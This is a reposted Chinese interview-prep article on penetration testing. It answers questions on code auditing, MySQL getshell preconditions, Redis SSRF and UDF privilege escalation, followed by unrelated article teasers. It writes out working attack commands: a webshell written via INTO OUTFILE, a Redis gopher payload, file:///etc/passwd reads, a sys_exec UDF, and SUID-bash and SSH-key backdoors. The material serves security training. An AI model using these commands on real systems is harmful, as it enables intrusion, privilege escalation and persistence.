2025年滲透測試面試題總結-31(題目+回答)

安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。

目錄

一、代碼審計核心思路(261)

二、MySQL Getshell前提(262)

三、mysql.ini 關鍵配置(263)

四、Redis SSRF攻擊內網(264)

攻擊流程:

常用協議及用途:

五、UDF提權詳解(265)

原理流程:

實操步驟:

六、網絡安全學習資源(266)

推薦矩陣:

二百六十一、代碼審計的思路是什么二百六十二、mysql getshell的前提是什么二百六十三、其中需要mysql.ini 配置參數應該是怎樣二百六十四、redis ssf 如何攻擊內網,可以用到哪些協議二百六十五、說一下udf提權二百六十六、平常經常在哪些地方學習

一、代碼審計核心思路(261)

mermaidgraph LR A[信息收集] --> B[靜態分析] B --> C[動態驗證] C --> D[漏洞利用] D --> E[報告輸出]
  1. 四階段審計法
    • 入口定位:掃描用戶輸入點(GET/POST參數、文件上傳、Cookie)
    • 數據流追蹤:跟蹤外部輸入在代碼中的傳播路徑(如$_GET→SQL查詢
    • 危險函數檢測
      • 執行類:eval()/system()/exec()
      • 文件類:file_put_contents()/move_uploaded_file()
      • 反序列化:unserialize()
    • 上下文驗證:確認過濾機制有效性(如htmlspecialchars()位置是否正確)

二、MySQL Getshell前提(262)

需同時滿足:

  1. 數據庫權限
    • FILE權限:SELECT user,file_priv FROM mysql.user
    • 可通過GRANT FILE ON *.* TO 'user'@'%'獲取
  2. 路徑條件
    • 已知Web絕對路徑(通過報錯/配置文件泄露)
    • secure_file_privNULL狀態(通過SHOW VARIABLES LIKE 'secure_file_priv'驗證)
  3. 寫入可行性
    • 目標目錄MySQL進程可寫(Linux默認/tmp,WindowsC:\Windows\Temp
    • 非只讀文件系統

📌 關鍵命令:

sqlSELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'; 

三、mysql.ini 關鍵配置(263)

ini# 允許文件導出(必須為空或指定目錄) secure_file_priv = "" # 開啟加載本地數據(非必須但推薦) local-infile = 1 # 設置插件目錄(UDF提權需用) plugin_dir = /usr/lib/mysql/plugin/ # 配置項驗證命令: SHOW VARIABLES LIKE 'secure_file_priv';

四、Redis SSRF攻擊內網(264)

攻擊流程:
mermaidsequenceDiagram Attacker->>+Vulnerable_Server: SSRF請求 Vulnerable_Server->>+Redis: Gopher協議指令 Redis-->>-Vulnerable_Server: 返回響應 Vulnerable_Server-->>-Attacker: 回顯結果 
常用協議及用途:
協議攻擊場景Payload示例
Gopher發送任意Redis命令gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$10%0d%0aevilcommand%0d%0a
Dict端口掃描/服務探測dict://192.168.1.1:80/info
HTTP穿透WAF攻擊內網Web應用封裝Redis命令為HTTP POST
File讀取服務器敏感文件file:///etc/passwd

五、UDF提權詳解(265)

原理流程:
mermaidgraph TB A[上傳惡意.so/.dll] --> B[創建UDF函數] B --> C[調用函數執行命令] C --> D[獲取系統權限]
實操步驟:
  1. 環境檢測
    • 確認MySQL版本:SELECT @@version
    • 獲取插件路徑:SHOW VARIABLES LIKE 'plugin_dir'
  2. 上傳共享庫
    • 利用SELECT ... INTO DUMPFILE寫入udf.so (需16進制轉換)
  3. 函數創建
    sqlCREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so'; SELECT sys_exec('chmod 4755 /usr/bin/bash');
  4. 權限維持
    • 添加SSH密鑰:echo pub_key >> /root/.ssh/authorized_keys
    • 創建SUID后門:chown root:root /bin/bash; chmod 4777 /bin/bash

六、網絡安全學習資源(266)

推薦矩陣:
類型推薦平臺核心價值
漏洞實驗室Hack The Box、TryHackMe真實滲透環境實戰
技術社區Reddit r/netsec、先知社區前沿漏洞分析/工具分享
視頻課程PentesterLab、OffensiveSec手把手教學(含CVE復現)
博客追蹤PortSwigger、Project Zero深度技術解析(如0day分析)
CTF平臺CTFtime、攻防世界競賽驅動技能提升
漏洞庫Exploit-DB、CVE Details最新漏洞PoC/影響分析
代碼倉庫GitHub(關鍵詞:CVE/PoC)開源工具鏈(如sqlmap源碼研究)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/94177.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/94177.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/94177.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[創業之路-560]:機械、電氣、自控、電子、軟件、信息、通信、大數據、人工智能,上述技術演進過程

上述關鍵詞反映的技術演進過程可梳理為一條從機械執行到智能決策的遞進式發展主線&#xff0c;各技術領域在不同階段相互滲透、共同推動機器人技術從功能替代向認知革命躍遷。以下是具體演進邏輯與趨勢分析&#xff1a;一、技術演進的三階段遞進機械主導階段&#xff08;工業革…

芋道前端項目部署后刷新 404 的解決辦法(Nginx 配置教程)

很多同學在把 芋道前端項目 部署到服務器后&#xff0c;會遇到一個奇怪的問題&#xff1a; &#x1f449; 項目首頁能正常訪問&#xff0c;但一旦在瀏覽器里手動刷新某個頁面&#xff0c;就會報 404 Not Found 錯誤。 這到底是為什么呢&#xff1f;又該怎么解決呢&#xff1f;下…

更適合后端寶寶的前端三件套之HTML

文章目錄&#x1f4d5;1. HTML基礎??1.1 什么是HTML??1.2 認識HTML標簽??1.3 HTML文件基本結構??1.4 標簽層次結構&#x1f4d5;2. HTML常見標簽??2.1 標題標簽??2.2 段落標簽??2.3 換行標簽??2.4 圖片標簽??2.5 超鏈接標簽??2.6 表格標簽&#x1f4d5;3. …

【JVM內存結構系列】四、不同垃圾回收器與堆內存的適配關系:從分代GC到Region GC

在JVM內存體系中&#xff0c;堆內存的“分代結構”與“對象流轉規則”是通用基礎&#xff0c;但垃圾回收器&#xff08;GC&#xff09;是決定堆內存實際表現的核心變量——不同GC為實現“低延遲”“高吞吐量”等目標&#xff0c;會對堆的劃分方式、對象管理邏輯、參數配置規則進…

Zemax光學設計輸出3D

輸出立體數據文件&#xff08;IGES/STEP/SAT/STL 格式&#xff09;的參數設置界面&#xff0c;各參數含義如下&#xff1a;1. 起始面/終止面&#xff1a;設定要輸出立體數據對應的光學表面范圍&#xff0c;從第 0 個表面到第 9 個表面 &#xff0c;限定參與輸出的光學結構表面區…

模塊測試與低功耗模式全攻略

一、模塊測試流程在測試一個模塊時&#xff0c;建議遵循以下步驟&#xff1a;基本測試&#xff1a;測試該模塊的寄存器讀寫功能是否正常。可以向每個寄存器寫入 0x5A5A 和 0xA5A5&#xff0c;這兩種模式可以覆蓋對寄存器寫入 0 和 1 的情況。進階測試&#xff1a;在基本測試通過…

機器學習實驗三、使用決策樹算法預測泰坦尼克號幸存者

實驗目的1. 掌握特征工程&#xff0c;會進行特征提取與特征選擇&#xff0c;會進行缺失值填充。2. 建立決策樹模型&#xff0c;解決實際問題。3. 會對模型進行調試&#xff0c;能夠繪制并保存決策樹。實驗環境Python 3.7.0&#xff0c;Sklearn &#xff0c;PyCharm實驗原理1、特…

從全棧開發到微服務架構:一次真實的Java面試實錄

從全棧開發到微服務架構&#xff1a;一次真實的Java面試實錄 面試官與應聘者介紹 面試官&#xff1a;李明&#xff0c;某互聯網大廠技術負責人&#xff0c;擅長Java后端、微服務及云原生架構。 應聘者&#xff1a;張偉&#xff0c;28歲&#xff0c;碩士學歷&#xff0c;擁有5年…

新的 Gmail 網絡釣魚攻擊利用 AI 提示注入來逃避檢測

網絡釣魚一直以來都是為了欺騙人們。但在這次活動中&#xff0c;攻擊者不僅瞄準用戶&#xff0c;還試圖操縱基于人工智能的防御系統。 這是我上周記錄的Gmail 網絡釣魚鏈的演變。那次攻擊活動依賴于緊迫性和重定向&#xff0c;但這次引入了隱藏的 AI 提示&#xff0c;旨在混淆…

Restful風格設計

文章目錄什么是Restful風格&#xff1f;RESTful API設計最佳實踐1. URL設計原則2. HTTP狀態碼的正確使用3. 統一的響應格式實際案例&#xff1a;用戶管理系統API總結什么是Restful風格&#xff1f; 我的理解是&#xff1a;Restful是一種基于HTTP協議的架構設計風格&#xff0c…

深入 Glide 圖像變換:自定義效果、GIF處理與組合變換

在 Android 開發中&#xff0c;Glide 的強大不僅在于其高效的加載和緩存能力&#xff0c;更在于其無與倫比的可擴展性&#xff0c;尤其是在圖像處理層面。當內置的 fitCenter() 和 circleCrop() 無法滿足你的設計需求時&#xff0c;自定義 Transformation 便是你的終極武器。本…

數據挖掘 4.8 評估泛化能力

4.8 Estimating Generalization 4.8 評估泛化能力 評估模型的泛化能力如何合理評估模型的泛化能力指導原則 (Guidelines)存在的問題 (Issues)K-fold 交叉驗證&#xff08;Cross-Validation)留一交叉驗證&#xff08;Leave One Out CV&#xff09;(LOOCV)Stratification 分層訓練…

46.【.NET8 實戰--孢子記賬--從單體到微服務--轉向微服務】--擴展功能--集成網關--網關集成日志

本篇文章&#xff0c;我們一起在網關中集成日志功能&#xff0c;我們要在網關中記錄下游微服務出現的異常信息、請求信息以及響應信息。在微服務架構中&#xff0c;網關作為系統的入口&#xff0c;承擔著非常重要的職責。通過在網關層面集成日志功能&#xff0c;我們可以更好地…

使用 FastAPI 的 WebSockets 和 Elasticsearch 來構建實時應用

作者&#xff1a;來自 Elastic Jeffrey Rengifo 學習如何使用 FastAPI WebSockets 和 Elasticsearch 構建實時應用程序。 更多閱讀&#xff1a;使用 FastAPI 構建 Elasticsearch API 想要獲得 Elastic 認證嗎&#xff1f;看看下一次 Elasticsearch Engineer 培訓什么時候開始&…

華為云ModelArts+Dify AI:雙劍合璧使能AI應用敏捷開發

引言:AI應用開發的敏捷化轉型需求 隨著大語言模型(LLM)技術的迅猛發展,企業與開發者對AI應用開發的敏捷化轉型需求日益凸顯,亟需將大模型能力快速轉化為實際業務價值。傳統AI開發模式中,復雜的模型工程化、流程編排和部署維護工作往往需要專業技術團隊支撐,典型痛點包括…

網絡實踐——Socket編程UDP

文章目錄Socket編程UDPUDP接口的使用鋪墊socketrecvform && sendtobind字節序轉化使用(Tips)實踐部分version_1echo_serverversion_2dict_serverversion_3chat_serverSocket編程UDP 在了解了相關的網絡基礎知識后&#xff0c;我們不會像學系統知識一樣&#xff0c;先學…

GD32 波形發生器,三角波,正弦波,方波。AD9833+MCP410生成和MCU自身的DAC生成。波形,頻率,振幅可以通過按鍵和OLED調整輸出。

DIY一個簡易的信號發生器驅動板&#xff0c;主要是三角波和正弦波&#xff0c;方波。主板有兩個通道能輸出波形&#xff0c;CH0由AD9833MCP410AD8051放大電路組成&#xff0c;理論可以生成0.1-12.5MHZ的頻率信號&#xff0c;單電源振幅范圍是1-9V。CH1由MCU外設DAC生成的信號&a…

VS2022的MFC中關聯使用控制臺并用printf輸出調試信息

前言 MFC一般在調試的時候&#xff0c;可以在IDE中方便的看到調試的信息。但是&#xff0c;有時候運行的時候也要看調試的信息怎么辦&#xff1f;最好如同在Console&#xff08;控制臺&#xff09;程序中輸出一般的方便&#xff0c;可以么&#xff1f;可以的。 一、設置 1.1、加…

ZKmall模塊商城的推薦數據體系:從多維度采集到高效存儲的實踐

在電商領域&#xff0c;個性化推薦已成為提升用戶體驗與轉化效率的核心手段。ZKmall 模塊商城基于用戶行為、商品屬性與交易數據&#xff0c;構建了一套完整的推薦算法體系&#xff0c;而數據采集的全面性與存儲的高效性是該體系的基礎。本文將聚焦推薦算法的 “數據輸入端”&a…

Qt + windows+exe+msvc打包教程

目錄 1. Qt + windows+exe+msvc打包教程1 1.1. Enigma Virtual Box下載?1 1.2. Enigma Virtual Box安裝2 1.3. Qt 打包成獨立exe教程6 1.3.1. Qt項目創建6 1.3.2. Qt項目編譯13 1.3.3. Qt 項目打包 windeployqt命令14 1.3.4. Qt 項目打包 Enigma Virtual Box工具18 Q…